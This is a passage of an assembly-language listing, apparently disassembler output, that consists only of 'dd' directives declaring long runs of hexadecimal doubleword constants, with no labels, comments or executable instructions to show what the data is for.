		dd 0A9DC8289h, 5E80005Ch, 344BF9E8h, 48321C3Ah,	60C7D9CCh
		dd 8403A7D4h, 0EF48A20h, 3A5A78A0h, 860B6180h, 4801D646h
		dd 0EC333976h, 4EE0F919h, 618C0023h, 41123A4Fh,	0F10013E3h
		dd 6742F3AEh, 6437F2h, 0AA69854Dh, 5B700483h, 302EB736h
		dd 1D4C4460h, 0B1305D00h, 4DD8B57Dh, 183C6438h,	1ED8804Fh
		dd 0AB13E970h, 0A0045F8h, 0A1397A78h, 3F383062h, 0D18E7929h
		dd 469B1400h, 943E0DABh, 90D907EFh, 16231C17h, 0D500A999h
		dd 84D875C3h, 639797Bh,	0E956552Bh, 0B730218Bh,	2C95A152h
		dd 13F50738h, 509D44F4h, 1BE32F7Dh, 0A198B903h,	0A05357ECh
		dd 3222272Ah, 5A41594Eh, 7A8B7D20h, 0FB040092h,	56A194C4h
		dd 69C26DB6h, 0F50DC91h, 44232801h, 4018825Eh, 9167D052h
		dd 31809780h, 1684834Dh, 19064907h, 5779F5B5h, 0C3930041h
		dd 0A34133D5h, 0DA3B4CE4h, 76E87044h, 5601A40Eh, 0B06880F9h
		dd 79529992h, 589D61D1h, 80601669h, 77266CB1h, 0C05378A4h
		dd 0DCBDB059h, 5C009E04h, 518ABBFDh, 19D2176Ah,	0D0619BB8h
		dd 44DE085Ah, 400AF58h,	21D0FC05h, 73B020F9h, 705562B4h
		dd 6521351Ch, 0E9809938h, 26931F9Ah, 0F57C8D62h, 36193E67h
		dd 28D88950h, 0F0C279BBh, 302714B1h, 4E22A09Bh,	720CAF00h
		dd 3F6738D3h, 102648A9h, 0C0806B88h, 33FA8F3Dh,	54D50075h
		dd 0A8658CADh, 4EF2688Eh, 5CE79E14h, 0DD228084h, 14DAFB3Fh
		dd 0D4DB9129h, 0B79B1C80h, 60C7257Fh, 0C407CF01h, 8F08880Ah
		dd 1816115Ch, 0C9514DB7h, 0C1C032Bh, 0F47CEEE3h, 6EF9A80h
		dd 0BEE6970Bh, 8B838012h, 7EA6DE44h, 0CC520969h, 249FCBh
		dd 92E74095h, 3B9B09BCh, 4187EC2Dh, 0D09A7E85h,	3F940CA3h
		dd 0C356200Ch, 3A4319Eh, 9C80DA65h, 0C17CD252h,	20C15ECh
		dd 298D2353h, 272E0F2Fh, 0EFC0DC19h, 479E46D2h,	0B0CD5000h
		dd 0FAD0ED4Eh, 176818A2h, 4078D14Bh, 3E2651C0h,	0D2B0A9h
		dd 0D9B744ECh, 0C10E3898h, 8F4EBC28h, 69C02377h, 368ED6ABh
		dd 1486E8A7h, 0ACE0913Eh, 4075D094h, 29C1A760h,	0B7566840h
		dd 911ADC22h, 4C8281D3h, 0DC4340BCh, 12101EA5h,	76741969h
		dd 4298ED6Ah, 0D22FFAA4h, 440405Ah, 1B5F3F88h, 0F8E44119h
		dd 0B00448B1h, 2CC6509h, 0D14EFFEh, 59C011D7h, 0D83D04EAh
		dd 4B0A13EBh, 0C7F88430h, 293301E6h, 9E806C5Bh,	7A1D6069h
		dd 0FA9D6D00h, 63993D15h, 3F0C2475h, 515A1188h,	4ED408CCh
		dd 7C5EAB01h, 55E19166h, 22AF198Ah, 0B2A40078h,	0C5F88AB4h
		dd 0EC9B7D2Ah, 871F75E2h, 5C80B528h, 7FE89FAFh,	1FA0006Eh
		dd 3EE3146Bh, 3D613807h, 0A2254469h, 723FFC30h,	881A05E9h
		dd 40D238B4h, 0FB409A9Ch, 43262FD0h, 443E942Bh,	8004913Fh
		dd 0FBDBF206h, 0B471CE46h, 0E308151Ch, 0D8C09683h, 0D29AFB0Dh
		dd 8E94841Ah, 9D39B340h, 1B00FBEEh, 80382F72h, 367328h
		dd 0B0D9DCA9h, 9498DA3Bh, 1FC86560h, 14059E8Eh,	8851D491h
		dd 363F9A81h, 4EB7C886h, 542FA4A8h, 59D88B00h, 6EBD78C6h
		dd 0A69D0728h, 0C0258626h, 1D6DFF77h, 4E4C761Fh, 60ACD740h
		dd 0A235B8Bh, 525120B5h, 514418DAh, 71C13F78h, 0DE8E91E2h
		dd 3459AD4h, 8289F9A8h,	64F0500Ah, 94909099h, 7AD86045h
		dd 0D8912833h, 9558A120h, 3864B712h, 0BB077700h, 0ADD8F533h
		dd 56600A9Fh, 111492E8h, 3EEF0059h, 32B1FDAFh, 74784CC4h
		dd 9B131CC3h, 0D6403102h, 451D6915h, 63DF80D8h,	7E5A23D5h
		dd 3369D603h, 0D7357D01h, 0AB0B3B00h, 0B6AD289Ah, 961501B8h
		dd 523F8CE0h, 0D2033CDh, 7823FFB7h, 5823D6F1h, 18683F09h
		dd 0CE86180Fh, 70A31939h
		dd 38085CA4h, 8931803Dh, 0C5700AF9h, 13A1AD00h,	0F3B0C3CBh
		dd 615C8Fh, 0B2D378C0h,	0D4006A3Bh, 9C9B56F6h, 7BD230Ch
		dd 0F5D269B3h, 99AF40A3h, 0E09015EFh, 0A919C44h, 0B89B1EAAh
		dd 0D0070040h, 4AA7E81Bh, 0D991400Ch, 6038C13Eh, 0FA257164h
		dd 0CC03ECD6h, 23EEF207h, 92583B62h, 84A3DA83h,	33AF690Bh
		dd 481AE8A2h, 61F82EA4h, 0D0104D48h, 72014149h,	7B169B45h
		dd 103222B0h, 7877E00h,	9C5C4D2Bh, 0C4CCB300h, 0E74B6B66h
		dd 0A56013Dh, 1CFE4AF6h, 86A05122h, 59780152h, 97D56180h
		dd 1D660AC4h, 5D486DFAh, 53D21034h, 0D69C6292h,	9940DA10h
		dd 0E09A806Ch, 6C08EC4h, 81965138h, 13DDBAFDh, 7070B1EDh
		dd 15692453h, 11044A40h, 0E3BC5133h, 22F45043h,	26EC60h
		dd 7F6C97C7h, 381BEE9Ah, 99294360h, 0A6C8FEh, 0DCAEBA23h
		dd 0DB793EE2h, 98203469h, 2DE51FCh, 0BE740AADh,	0CA80679Ch
		dd 0E03C986Eh, 7E50EC98h, 0A20F3A44h, 211693BFh, 571568B0h
		dd 0C4800112h, 0AEFD729Bh, 1CB04070h, 3830987Ch, 646E4166h
		dd 7B517A72h, 3B5000B7h, 43F067F7h, 0DB00A2A4h,	617D805Fh
		dd 0BA6CE5A0h, 4F2B2B00h, 485280C8h, 7D14DF29h,	17EF0E00h
		dd 3B9A1D3Ch, 0F033F569h, 0C2A4CF24h, 0D3222656h, 0E19A213Dh
		dd 903CC805h, 4301BC98h, 0C2B09278h, 8C23655Ah,	0F49CB403h
		dd 3E803664h, 0FA3DCB37h, 0AC3D2C62h, 8063C539h, 80C6D81Fh
		dd 9821CB42h, 0BD014004h, 7A898D79h, 0A0C8DEE8h, 4E5705ECh
		dd 5E62A4h, 0C302E0ACh,	0CCA611CEh, 14294900h, 0B4B9D664h
		dd 54D7000Ah, 3FB29A37h, 3340FF79h, 44BA5C56h, 0AD01AB80h
		dd 0E82A4412h, 0CB22E0B0h, 1169145Bh, 0AD80D854h, 84F5D1BAh
		dd 0EBD4BB0Fh, 86302945h, 3051B31Ch, 60599323h,	0E800A08Fh
		dd 0FAD3A2DBh, 4397C5Fh, 8CD6FF7Dh, 52C8824Eh, 3F51AF20h
		dd 3B69F628h, 38D42E1Eh, 0C4C73AAEh, 0E70FAF03h, 0A1846AF1h
		dd 3A344284h, 0E21D4720h, 22A8904Bh, 18986CDDh,	47116CB9h
		dd 21F3C50h, 7ABDCBA9h,	618B15h, 65421740h, 138C6C7Eh
		dd 1411B003h, 400408E4h, 47683810h, 0AFE07907h,	7CF8C2h
		dd 0C402FA6Eh, 3560D97h, 0A3E914A8h, 15D3700h, 1CACA783h
		dd 0D2AE0E6Ch, 0E804F0EEh, 814E4936h, 97BE56F0h, 6193442Ch
		dd 2989B7A8h, 0CAD0570h, 94019992h, 9B4DE0DCh, 373F8441h
		dd 439BF01h, 0E000C4A2h, 3E6A108Dh, 0E33E11ADh,	89908D03h
		dd 28D33940h, 441CEC70h, 697C8037h, 5F708102h, 664DAF01h
		dd 0AE790054h, 59DE3603h, 6000C049h, 41A5C7C9h,	0E03F7BB7h
		dd 58BD011Ch, 0A3BBAF5Dh, 708C2D78h, 995BA601h,	2CAAC983h
		dd 0F8481C29h, 0B22748C3h, 0A8706DA0h, 11003076h, 1A714C3Ch
		dd 71771B56h, 0B1DC6B78h, 408FC004h, 1B4B0571h,	35D10063h
		dd 0E47633C0h, 6600D945h, 0BF4956Fh, 943F9923h,	8108B5C4h
		dd 80427868h, 57CC06A1h, 2D77E9h, 97550CAh, 8BDD7BF1h
		dd 34960E01h, 38696FCBh, 9988082Ch, 6EF92D80h, 5402C05Fh
		dd 6F388035h, 4E0D965h,	60940347h, 7E9E500h, 19C8E4AFh
		dd 0C9A30795h, 15282E46h, 1C8802BDh, 0A084415Dh, 0E90C8822h
		dd 3933F100h, 497CED44h, 0E3A2025Bh, 0B037D527h, 0DE5CF3E1h
		dd 424598ECh, 1111C43h,	48A48262h, 247AB007h, 23883EA8h
		dd 669C098h, 0DE73305Ah, 637EEB00h, 0C31C8875h,	50602443h
		dd 41E82448h, 0DC0E44F8h, 0AA0286DFh, 9B8880D8h, 0A19C49E8h
		dd 0E500C833h, 3F6069BDh, 910546A5h, 5CE6C5F3h,	7EE85009h
		dd 7E9F1C13h, 9B24113Eh, 3028138Ch, 0DE404530h,	0FF019CE0h
		dd 7CD0C307h, 78E083C6h, 0D84F488Eh, 18B55614h,	25DF9117h
		dd 9F448200h, 0E86C3F22h, 4B06A210h, 3EBC4022h,	211D2D27h
		dd 7115ED03h, 0B0DCA517h, 7B4460B2h, 11281CB6h,	0C04C7847h
		dd 25202BC0h, 333DB8C2h, 0EA8F820Fh, 83F3C49Ah,	6938DCh
		dd 79353129h, 2C56B2E5h, 0B342B700h, 3EE9DD95h,	237C189Ah
		dd 7FA98994h, 534DB700h, 0AD0CC6FDh, 7D190510h,	4AF7515h
		dd 0E2827490h, 8E250044h, 78B7DDEBh, 70A709CBh,	0C83462Fh
		dd 968B239Dh, 0BD59291Fh, 0AAFBDE40h, 48E534FFh, 8E22308Ah
		dd 95071700h, 0EC3E9287h, 9EB01DB4h, 8202417Dh,	0E5B52A76h
		dd 3498D5DAh, 317AD0D4h, 263F4605h, 0B8083E8Ch,	9EE8427Bh
		dd 6A65AB20h, 52900477h, 3A074CEh, 4F511F69h, 766C3020h
		dd 5E00EE90h, 43064204h, 58165D4Fh, 3968209Ah, 54DA08ECh
		dd 1942388Ch, 0AFE1013Ch, 0E837F741h, 682380h, 34C52D1h
		dd 0EA5EDC56h, 793B62B7h, 2CC10E69h, 16942360h,	8C141F0Ch
		dd 53D8D90Ch, 81413811h, 4DBDDD71h, 0F1EC102Ch,	0A79B2C28h
		dd 1010A574h, 0CE013C97h, 6BA23D66h, 0CC339847h, 9F9B6809h
		dd 0D86FA580h, 0E40ADF0Dh, 2065CC78h, 0AAC1049Fh, 40E7A56Ah
		dd 88879FFDh, 48D552A8h, 0E44BA4BCh, 69144C20h,	48685F13h
		dd 11B33AB0h, 0C9006637h, 88298D81h, 0EB30919Eh, 0D6EE98FCh
		dd 0CEBC0080h, 0F728A80Eh, 0E97DE89Fh, 0DB4A91FCh, 0B01BA420h
		dd 0E6F04844h, 0F00BDE19h, 7E2E1056h, 3BC00CEh,	334D1646h
		dd 4073B068h, 0AC583750h, 0E1771F01h, 235B84F9h, 31804038h
		dd 0A48FC0D5h, 0BF4E5E1Eh, 9355BD41h, 10DCE52Ah, 62170B34h
		dd 5090B703h, 200E4308h, 0A036784Bh, 0B0721076h, 628100E6h
		dd 0DE52402Dh, 0D6123A4Ch, 0F0C89B15h, 0DF3E019Fh, 0AED86D5Dh
		dd 307061A4h, 0D70175A8h, 850B8A3Bh, 0C634E9Bh,	40681C1Ch
		dd 0F757F9BAh, 0C81DB5D8h, 0A8C92108h, 9BFB8034h, 17B00639h
		dd 0E04A99h, 50414511h,	5860B798h, 2730F579h, 0C0AA2685h
		dd 0D08A146Dh, 0A863E500h, 0D2699A6Ch, 0C8A0782Eh, 889E6B08h
		dd 27BE5516h, 169496D9h, 0C3966DEh, 56B15EE4h, 5850C04Eh
		dd 20CD2784h, 0DEC50D00h, 0E07F5023h, 20665B0Eh, 0D76BA690h
		dd 0BE246102h, 6AACB6B8h, 2ED098E4h, 0CDCA48DBh, 6680A23Ch
		dd 0DE1918E0h, 0B9CE35A6h, 1C1191AAh, 60205A50h, 2F31E45h
		dd 3F8B0BA8h, 40DF404Bh, 1710AF9Dh, 5A22D6BEh, 68C13068h
		dd 92F42279h, 0FA2D3F00h, 16F972F8h, 886D2340h,	53387E38h
		dd 22F84C48h, 5FBF893h,	52112CEAh, 9B8420D4h, 23251CA1h
		dd 150CA247h, 386C2160h, 3A002891h, 12D3AF4Eh, 4CB0690Ch
		dd 3EEDE091h, 0A89B2E01h, 0AF47D3C4h, 25AA8099h, 0F90CCA0Ch
		dd 903F7308h, 10E0BADh,	4C647B27h, 0E5DCCCF3h, 0F8BC9509h
		dd 0BA3D8008h, 23DCF8Bh, 4417EEFEh, 60E41B99h, 0CD0050A6h
		dd 0D6F2D4Dh, 93C4BAh, 65D0313h, 2FC18FE1h, 7C408B13h
		dd 3C8A1C16h, 2D009622h, 4D2A6E2Ch, 0E0FCE847h,	0EC382CCAh
		dd 0D553969Ch, 0BEA43018h, 0A2D2B6Ch, 380C23CBh, 9C3140B9h
		dd 565744D5h, 0C89DB429h, 52C16238h, 324C64D7h,	0C3219023h
		dd 91F3BD80h, 0B800798Dh, 0DACE48D3h, 0B4B38AAAh, 8800A5ACh
		dd 0A871C610h, 9EC17D02h, 0E25CB042h, 1764E49Ch, 13EBF8B6h
		dd 6930C3E2h, 78A888A4h, 278458BCh, 4FC10896h, 9830D51Bh
		dd 8E468841h, 71289A00h, 2FDA7696h, 0E6523945h,	10043F2Fh
		dd 31340C9Dh, 5F7A47h, 0D8A4337Ah, 6C9F3B83h, 2838E724h
		dd 228C4794h, 20235A50h, 0FA6EA814h, 601E6811h,	6A38690Ch
		dd 4901E259h, 315F2B40h, 9EDC6345h, 238759Ah, 22F8609Fh
		dd 0D84164C2h, 6860C2ABh, 2813EFCFh, 14CC50FAh,	413F5F07h
		dd 0BE566944h, 9840439Eh
		dd 0C8003872h, 0A35F74Eh, 0ECA49D0h, 417175FCh,	43691205h
		dd 537F6850h, 9A8265B0h, 0CA810C91h, 71B57AA7h,	780EC38h
		dd 2F24C613h, 0C3BD0E1Ch, 7218D1C0h, 74604BA8h,	0F7FD16DCh
		dd 10108A79h, 0B7299ED8h, 0CF0F03DCh, 0C1E85B50h, 98090D12h
		dd 4D9EA0Ch, 23576370h,	7200D41Ch, 1042FF2Ah, 48C396Bh
		dd 1F080D0h, 3598F438h,	15FFF601h, 56785247h, 0F1CED050h
		dd 0B11801C3h, 85822DDCh, 2192F015h, 2CB45C38h,	0E71AA1D4h
		dd 144CCCA0h, 641568AFh, 0F3D0FB00h, 11B0DDBBh,	91193C61h
		dd 30AE3BD8h, 0C0866114h, 0F4E47845h, 0AA0038E2h, 0A211FE12h
		dd 0B5828C4h, 57913C5h,	0BF562C81h, 5ED6EC4Ch, 0D88205Ah
		dd 0B0004662h, 2BBD77C2h, 5DA62Ch, 0B99EFCD0h, 72EBE9FBh
		dd 0A0653F18h, 884917C8h, 0B1C74179h, 6DA066C0h, 56B40Ah
		dd 5DC51349h, 0E3B5AED7h, 37FE7B4Ch, 342F846h, 0F5A8E148h
		dd 9A5EAB10h, 0B88C354Ah, 0DF8D1223h, 320A1352h, 0CCE65870h
		dd 5F31F81Dh, 3C8BC0Eh,	9A907D52h, 812065D3h, 0E6791754h
		dd 0C9FFFC60h, 49EBB016h, 0AC220EAAh, 0C8D49126h, 0C1C39496h
		dd 0C0F5FA99h, 3E92CE4Ah, 0E28EEF56h, 99364D7h,	2C657560h
		dd 89B9AF09h, 0B70083B0h, 78B12939h, 0BABE00ECh, 0A7907CEEh
		dd 0CAD03500h, 8A99F61Ah, 0C6F8B57Bh, 0BF3D0802h, 0D19FCC38h
		dd 748D0EA0h, 37FBA780h, 0BA2C783Fh, 21E38439h,	6D7ED08Ch
		dd 0F2130E97h, 5E8005BEh, 0DA529A6Eh, 0F0A4449Eh, 0BD1FD960h
		dd 70C200F3h, 6324EA1h,	0EC9C2526h, 94FA014Bh, 39FD4D09h
		dd 53C22DCh, 0A5E28B59h, 1704B28h, 9C002064h, 0F7C9702Bh
		dd 0EC322E04h, 18C92ABh, 4043272Ah, 300262A8h, 628A591Ch
		dd 885CD1C4h, 14403806h, 2293CBEh, 28088887h, 1CA41B69h
		dd 410962D8h, 0C8158D74h, 0EC00490Ch, 38748BDBh, 40F7EB1h
		dd 7A79E6E4h, 80E0AC12h, 95850210h, 535F04CEh, 0A20C4D42h
		dd 29BB00F0h, 67C2AACDh, 1DDA0C49h, 616179ABh, 0B5BB8901h
		dd 9A6D0D4Ch, 47C2BC78h, 24A001A4h, 5AE1EC3h, 79970F02h
		dd 6AFD0BD4h, 0DA4CC018h, 72F2EB28h, 8AFF0194h,	709836CBh
		dd 50854106h, 7946C42h,	0E956595Ah, 3FF059E9h, 0C37C27C4h
		dd 55290163h, 5D58C11Ch, 63874868h, 0DA2BA03Fh,	8500E55Bh
		dd 78D01714h, 25D6D333h, 3C906A8Ch, 9E1FF847h, 0E0C1B8E5h
		dd 3E8ED8C1h, 7302F033h, 0A30E197Dh, 718C24C1h,	90282BFCh
		dd 36BECA6h, 2B4F278h, 48169D70h, 0BC30A46Ah, 0BCDFD7Dh
		dd 3335B787h, 16685C01h, 9C335Ch, 0DAE4A71Ch, 9C983F43h
		dd 0A1DC40BCh, 0A9E0CF5Fh, 0F602A6E8h, 0F41A556Ch, 18C0688Fh
		dd 0B0658860h, 10A7992Dh, 53AF44h, 0D4D2282Bh, 0B70D5621h
		dd 3C58DA02h, 60015940h, 70D387h, 8B203D5Ah, 47389B54h
		dd 0F812A27Ah, 5820D252h, 1CB0EA9Ah, 3CCF956h, 398F0726h
		dd 4003484Ah, 0F0D43F29h, 90492E0Dh, 91A10AADh,	4394C056h
		dd 3F87E140h, 9B0AAA60h, 5617014Eh, 3400C111h, 0D9D43EFAh
		dd 46241774h, 1F7C434Dh, 8082AA62h, 8603F046h, 45C6B4F6h
		dd 1F2FA77Fh, 0B72A2682h, 0F6B02051h, 7475A441h, 0BC25CB0Eh
		dd 0DF5860DBh, 0DC350F7h, 84C25607h, 3C942051h,	466A4484h
		dd 0A11B8B00h, 5D06699Dh, 484CE8B0h, 17D3BEEh, 1E1DBF50h
		dd 709A6CA3h, 0C18B3DA4h, 0E0D8E732h, 2EB70002h, 1C3616BEh
		dd 0F1E8E8B2h, 60511738h, 285560F8h, 0D8C753BDh, 0C6292700h
		dd 585C29Eh, 0C481E825h, 97CC0098h, 95097D1Fh, 0DD018FD5h
		dd 0A0732692h, 38F828FCh, 693A1748h, 0CA10136Fh, 2D260078h
		dd 9207EAFh, 465124ABh,	9E9DE0E8h, 2CB4BA56h, 0BF32E144h
		dd 0BDF1710h, 5B8B6FA8h, 8DABACB1h, 118ABAD8h, 0DCC80Ch
		dd 0A8AB7D25h, 42346C63h, 0FE3C7124h, 5887DE1Ch, 98FB1C9Eh
		dd 905C7Ch, 66C1FB47h, 3B1B910Ch, 100A5304h, 3A40221Ch
		dd 9539E046h, 4D5AD875h, 83A5D833h, 2FE9B0C9h, 0BB6C008Ah
		dd 6F159FBDh, 134A68B0h, 68C28h, 0C8792408h, 0E8017156h
		dd 0D9273B05h, 0BCB42387h, 443000F8h, 74A34BC6h, 0D602470Bh
		dd 50EABD3Dh, 824A6322h, 1D5C4881h, 0FC090725h,	0B897E9h
		dd 4B26B3DAh, 0E0919890h, 0DE2CD780h, 0FB4864h,	809674D8h
		dd 0E853D6A4h, 9B529E16h, 64A9FE0Fh, 30ADB556h,	0B068400Ah
		dd 575C1DA7h, 0E9C4218Ah, 9C6C208Bh, 2D9EB084h,	54817B9Bh
		dd 104D7821h, 0A8803E4h, 16E29572h, 0D0186BE8h,	0C1F3CA5h
		dd 7C007F86h, 13F071F4h, 1A5202EBh, 1169896Ch, 4E583054h
		dd 48EC9047h, 5C9F18C0h, 0DD9B0BD6h, 2411880Fh,	81029653h
		dd 0E65A1769h, 0C6BC0180h, 919AD3AEh, 2C222BE0h, 5AC85EB4h
		dd 0B996B873h, 1C5B7600h, 7F71159Ah, 0D0C8F97Dh, 9741708Eh
		dd 45703007h, 0AEC43051h, 0CF00B8EEh, 0B50F2F46h, 184D45F5h
		dd 48B0D1D7h, 9095AF99h, 1109A4h, 0D8BD6ECDh, 6B4DD6FFh
		dd 0C5069C0Fh, 9F4C4074h, 4B4147Eh, 6DE8A839h, 0C0FCA83Fh
		dd 0CED542Fh, 9D7500ECh, 0BFEA97B7h, 1F7DC259h,	2966CE00h
		dd 0E6A0346Eh, 9B090BE3h, 8CE0F3B8h, 244E6269h,	0A80A427h
		dd 327DF40h, 0A897F392h, 50989698h, 9501AA67h, 83DB6393h
		dd 0A843206Ah, 2342ECD9h, 0A0D21D69h, 9B860E12h, 0EB3ED833h
		dd 0CBBCEC0Bh, 0F96AC40h, 0DA93FFE7h, 11D6B0C0h, 4F60B74Eh
		dd 135CE31h, 7F0079Bh, 4748B908h, 70F59080h, 0E309AEEBh
		dd 1840AB98h, 1E57C640h, 897F5C1Ch, 0C090DF91h,	0C1886937h
		dd 53310077h, 0F5A59430h, 0A200D014h, 7E203867h, 1C479B87h
		dd 96691268h, 6F1C8845h, 888F2388h, 200022E3h, 9C86C30Eh
		dd 0D51F51h, 5578832h, 0D7085D45h, 0DB900F50h, 245117FFh
		dd 21F3D63Fh, 0DA1E5560h, 8B13F8E2h, 0B6D46CE0h, 78D0AB2Eh
		dd 0CA01E09Ch, 228BB43Eh, 70005069h, 0D9B6BEAh,	0CF0E9EF0h
		dd 635A76ADh, 0E589AEE6h, 70829895h, 444CC461h,	15E61C50h
		dd 0E85456EAh, 0E84DF10h, 171ABF23h, 6CD40037h,	3C12B6D8h
		dd 0A4583898h, 0D77413CCh, 17529400h, 9053F8DCh, 11C90F8h
		dd 0FFD069E1h, 0D44DC4A6h, 0D9C6A93Eh, 44E82861h, 10990140h
		dd 30B9FA80h, 1F83FE42h, 40DAFD36h, 814BCE15h, 4C9E37C1h
		dd 0C5E5258Fh, 0F0C08D32h, 2890FA5Ah, 0E05CAFDDh, 589C041Bh
		dd 0C20B9A67h, 40C69774h, 0FEAF5144h, 5F820938h, 0DC98F6F7h
		dd 76008DB8h, 0C5D9646Bh, 0FE6ADC62h, 534D1D4Ch, 0C3E3C513h
		dd 0B7548287h, 9940A051h, 0AC4478h, 9176503Fh, 1F895E41h
		dd 3923480Bh, 6DF884D0h, 0E81B6944h, 52F0A76Ch,	63B548h
		dd 0D787AE59h, 206268C9h, 0EE2ACE00h, 0A40AA3Ch, 70F905CFh
		dd 0C7FCDA09h, 0A9921674h, 0D6D63CA1h, 0BCBAAD21h, 70BDCD70h
		dd 20804EA1h, 87C9CD68h, 0FC6CFE00h, 0E3F64119h, 92280193h
		dd 790E826Fh, 361DF0F0h, 9EA45D50h, 0E8F9A888h,	6851826Ah
		dd 24701907h, 0FCCA0180h, 0A16705A6h, 913A60ACh, 1586BDECh
		dd 0AE423408h, 0D16940B4h, 67007656h, 3E48DE51h, 1293AF57h
		dd 0A25302F4h, 559DC0B8h, 12D6C7EAh, 2970AF4h, 9B21AF78h
		dd 83C35720h, 0E1920017h, 0FB459C0Ch, 3E16F4DAh, 7410E4D6h
		dd 2C084F98h, 3E8A449h,	232B3DE5h, 0C30049E6h, 0DEAB0A28h
		dd 1D103963h, 0FCCBDBCAh, 9B220F75h, 40B6E29Dh,	0F56B12D4h
		dd 1FF0FCD7h, 59DD27F4h, 3D590103h, 30104A6Fh, 58565774h
		dd 0B3F3A600h, 0A2EED4F0h
		dd 94ECB052h, 6C81402Ch, 0B902B5CAh, 52FB92F6h,	2D90C6D8h
		dd 0DC105E15h, 7416E9C5h, 0D4A4D0D2h, 10408860h, 8A0AE502h
		dd 0F9B36AC8h, 5D3C0040h, 287D0762h, 13871704h,	58C46EE2h
		dd 0E418CC09h, 43DA3028h, 0D38511E8h, 9C3370E1h, 0E040784Fh
		dd 7C3B868Ch, 3E910024h, 6AAA1448h, 1275FAB4h, 3A721506h
		dd 515CB8h, 99BEF503h, 4110E04Eh, 1AD0FB07h, 54E0145h
		dd 0F890F15Bh, 10E3EAA8h, 404A6AE5h, 150044E4h,	2137E5Ah
		dd 86B5AFh, 0D30FE045h,	11494FD0h, 1F005F78h, 504E56A8h
		dd 0F8EAFBBh, 0A68F9EDFh, 3E6DD2C0h, 0D776BD7Fh, 0A0224E25h
		dd 0FDA6CC08h, 0FAF4020Ah, 10EEE74Dh, 721D3B40h, 4AA44B17h
		dd 4797CE00h, 163B39DEh, 0C0DDDC91h, 600CAD54h,	6C235B07h
		dd 1A106B34h, 7E2951h, 5CFCBF2Bh, 0A05FA467h, 455AA300h
		dd 66BA6052h, 345D006Bh, 15640AD3h, 790E9A16h, 0FEDAAB4h
		dd 5823E635h, 7E2C0051h, 4340D983h, 5B005C70h, 1BF20771h
		dd 1F729D8h, 50C7387h, 0BB6B9D24h, 17F98059h, 277D314Ah
		dd 426F0FBEh, 0F5802BFDh, 0F20AD212h, 3DD79200h, 98B44FE7h
		dd 49D90684h, 795F2A4Bh, 92B260Eh, 0F4CE068Dh, 88C0030h
		dd 0CD9B1A88h, 8506CFB3h, 35D5480Bh, 0E09A1C79h, 67C143FCh
		dd 62A36042h, 0C75C911Dh, 1CDD59B0h, 3F973C9h, 0DB934483h
		dd 0A898671Eh, 9B0191B4h, 488C31EBh, 94106B0Ah,	6163BE5Ch
		dd 0C190D341h, 118C6EC5h, 0AC294776h, 0DF3AB500h, 5AA42F3h
		dd 9E1A3F55h, 3F51C00h,	0D2EA308Fh, 31547537h, 0EB5B86A0h
		dd 1577E9h, 0D1C0A85Ah,	2AB667CFh, 3888FD60h, 41E873h
		dd 81EAEE19h, 5DC35979h, 1E399700h, 7C783532h, 0BD9306DBh
		dd 111A95EAh, 3261048Dh, 108086B2h, 0C0CCA8E2h,	9D007118h
		dd 53548CA1h, 388043EEh, 0D6813282h, 17E21CE5h,	792990CEh
		dd 48456984h, 0D1AA420Eh, 88A2082Fh, 6A884803h,	0D35288E2h
		dd 6800E191h, 83587743h, 0D600BFEBh, 6E79460Bh,	5BDE985h
		dd 733FF9E0h, 5ADD8064h, 0A022F47h, 90A7B938h, 9B088053h
		dd 1E488EAAh, 401BC842h, 0DBFF23AFh, 3D070280h,	98964C70h
		dd 51C0C735h, 3BF25C5Eh, 2E807990h, 272BD0B0h, 0B2004841h
		dd 9450F323h, 0B551A2h,	0B4CFBE36h, 0EF02CA7Eh,	9354C2Ch
		dd 63566502h, 0FCB0A037h, 0E0BE584Bh, 397500C8h, 3CB61EC5h
		dd 655C7418h, 5B330022h, 1F42439Fh, 0BD7A060Dh,	48690CC3h
		dd 80AFF451h, 0B12AB48h, 0A759FEh, 1936E634h, 24F20422h
		dd 0E85FBD00h, 0C98AE766h, 56B00B1h, 58E55DBAh,	83007C13h
		dd 0A939DCF4h, 0C5B1C6Fh, 6EEC0FB2h, 91000E10h,	0D9DBC770h
		dd 0F72BEAh, 71457AE9h,	0AF88BFCh, 163A200h, 0D5D2650h
		dd 0C4EE12D8h, 0A99E007Ah, 0BA75AD24h, 2000F7E2h, 49A589ACh
		dd 0C4F0A0h, 13341DC6h,	5AB231D4h, 16FE6900h, 70553D8Ah
		dd 935D00B9h, 4EAFB777h, 0A8F04F3Bh, 80CF6E39h,	0AAFFB684h
		dd 0DA20E8h, 94AB0424h,	363FDC67h, 0C956D900h, 0D5D41550h
		dd 4469058Ch, 909666h, 0C3238994h, 0A2E64C16h, 5D6C7701h
		dd 27E6D4F4h, 6A6630h, 0B4DAFE57h, 9723C69Ch, 4C647700h
		dd 0DBEEFB60h, 0FC870E0Fh, 7C009256h, 79F225C8h, 0A2B9F800h
		dd 2C980DABh, 7868140Fh, 0A800A03Bh, 3D0916F3h,	0F93E37AFh
		dd 72EB00B4h, 2F211553h, 0F0CE03D7h, 7A74F617h,	4E6DFCE8h
		dd 6C886801h, 0AB799DEAh, 118BCF4h, 0FEC846AFh,	0E0E1F4F2h
		dd 0AA00E58Ch, 330C656Eh, 0DD69D0h, 95A4A737h, 0E89F7974h
		dd 0A3C1D918h, 75AB10h,	0D09AD301h, 3612B0D7h, 3EF07B48h
		dd 807448C6h, 4EA42793h, 9B75000Eh, 6480A219h, 8D002A08h
		dd 1E4FC70Fh, 96555Bh, 2C623169h, 5F2630D8h, 91F1AF60h
		dd 7B20FDF2h, 9FE78F4h,	300F9451h, 857F6C00h, 4100A56Bh
		dd 1D0A14E3h, 0FF88C27h, 0AAF4FD16h, 0E91A1EA0h, 0B900F2B5h
		dd 87C91B7h, 24555881h,	97405h,	0C3BC7183h, 0F00068F4h
		dd 18B8E4EAh, 12A3A6AEh, 43700Ah, 244017B5h, 15001C32h
		dd 9FDF96C2h, 0DBCDDEh,	0CAE431F7h, 9D62AEC8h, 541AB0C0h
		dd 2411D419h, 2843E334h, 4AA041Ch, 92EA26h, 12274EA5h
		dd 0AEC70050h, 2938B88Bh, 0CB00DA10h, 52B685A4h, 0C80633h
		dd 6B7801D7h, 0ECF8775Ch, 5499E560h, 0BFEEC28Fh, 0D112F2D8h
		dd 1C0078FEh, 2EE00F8Eh, 0C0630003h, 0DBEDFCC2h, 0A503804Ch
		dd 0FB81F9BCh, 4E969935h, 42E34E8h, 56B15590h, 0C1C0AB91h
		dd 1C14C9h, 8F92A5CFh, 6924EFB8h, 88EDF81Eh, 0ACF29780h
		dd 0D7074h, 58C177EAh, 67A8DEF1h, 17A7EF0Fh, 245B6EB6h
